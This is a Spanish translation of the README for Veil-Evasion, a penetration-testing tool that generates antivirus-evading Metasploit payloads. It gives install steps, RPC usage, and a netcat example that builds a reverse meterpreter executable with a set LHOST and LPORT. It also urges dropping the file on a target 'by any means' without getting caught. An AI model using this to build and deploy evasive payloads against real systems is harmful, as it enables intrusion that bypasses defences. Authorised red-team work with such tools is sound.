
Veil Evasion ya no recibe soporte, ¡usa Veil 3.0!
Veil-Evasion es una herramienta diseñada para generar payloads de Metasploit que evaden las soluciones antivirus comunes.
NOTA:
./setup/setup.shdebe ejecutarse de nuevo en cada actualización de versión importante. Si recibes errores importantes al ejecutar Veil-Evasion, primero intenta volver a ejecutar este script para instalar paquetes adicionales y actualizar el archivo de configuración común.
Veil-Evasion actualmente cuenta con soporte activo por parte de @ChrisTruncer, @TheMightyShiv, @HarmJ0y.
Agradecimientos a:
o
NOTA: La instalación debe realizarse con privilegios de superusuario. Si no estás usando Kali Linux, antepone
sudoa cada comando o cambia al usuario root antes de comenzar.
Ejecuta setup.sh -c en Kali x86.
Instala Python 2.7, Py2Exe, PyCrypto y PyWin32 en una computadora con Windows (para Py2Exe).
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
NOTA: Esto debe hacerse con privilegios de superusuario. Si no estás usando Kali Linux, antepone
sudoa cada comando o cambia al usuario root antes de comenzar.
La mayoría de las veces el archivo de configuración en /etc/veil/settings.py no necesitará ser reconstruido, pero en algunos casos podrías ser solicitado a hacerlo. El archivo es generado por config/update.py.
Es importante que estés en el directorio config/ antes de ejecutar update.py. Si no es así, settings.py será incorrecto y al iniciar Veil-Evasion verás lo siguiente.
Menú Principal
0 payloads cargados
No entres en pánico. Entra en el directorio config/ y vuelve a ejecutar update.py.
Veil-Evasion fue diseñado para ejecutarse en Kali Linux, pero debería funcionar en cualquier sistema capaz de ejecutar scripts de Python. Simplemente llama a Veil-Evasion desde la línea de comandos y sigue el menú para generar un payload. Al crear el payload, Veil-Evasion preguntará si deseas que el archivo del payload se convierta en un ejecutable mediante PyInstaller o Py2Exe.
Si usas PyInstaller, Veil-Evasion convertirá tu payload en un ejecutable dentro de Kali.
Si usas Py2Exe, Veil-Evasion creará tres archivos:
Mueve los tres archivos a tu máquina Windows con Python instalado. Los tres archivos deben colocarse en la raíz del directorio donde se instaló Python (probablemente C:\Python27). Ejecuta el script por lotes para convertir el script de Python en un formato ejecutable.
Coloca el archivo ejecutable en tu máquina objetivo por cualquier medio necesario y ¡no te dejes atrapar!
En el lado del listener, ejecuta:
./Veil-Evasion --rpc
Esto iniciará un listener en el puerto 4242.
En el lado del cliente, necesitarás ejecutar un programa cliente. Puede ser un script personalizado o algo tan simple como Netcat. El servidor RPC implementa JSON-RPC. Esta es una buena referencia para interpretar solicitudes y respuestas de JSON-RPC: http://json-rpc.org/wiki/specification
El formato de solicitud RPC es el siguiente:
method="version" - devuelve el número de versión actual de Veil-Evasion
method="payloads" - devuelve todos los payloads cargados actualmente
method="payload_options"
params="payload_name" - devuelve las opciones para el payload especificado
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] - genera el payload especificado con las opciones dadas y devuelve la ruta del ejecutable generado
Este es un ejemplo simple de trabajo con Veil-Evasion usando Netcat:
root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}
Y la respuesta del servidor:
{"id":0,"result":"2.21.4","error":null}
Un ejemplo de un programa cliente se puede encontrar aquí: http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py
NOTA: El puerto para Veil-Evasion es 4242. Esto debe cambiarse en client.py para que funcione.
Para generar un payload, TODOS los parámetros deben incluirse:
Esta es una buena referencia para entender si se usa o no pwnstaller: http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/
Un ejemplo de generación de un payload:
root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}
Y la respuesta del servidor:
{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}
NOTA: Si no se especifica ningún id en la solicitud, Veil-Evasion se cerrará. Dicho esto, puedes hacer tantas solicitudes válidas como desees hasta que Veil-Evasion se cierre.
Para cerrar el servidor RPC ejecuta:
./Veil-Evasion --rpcshutdown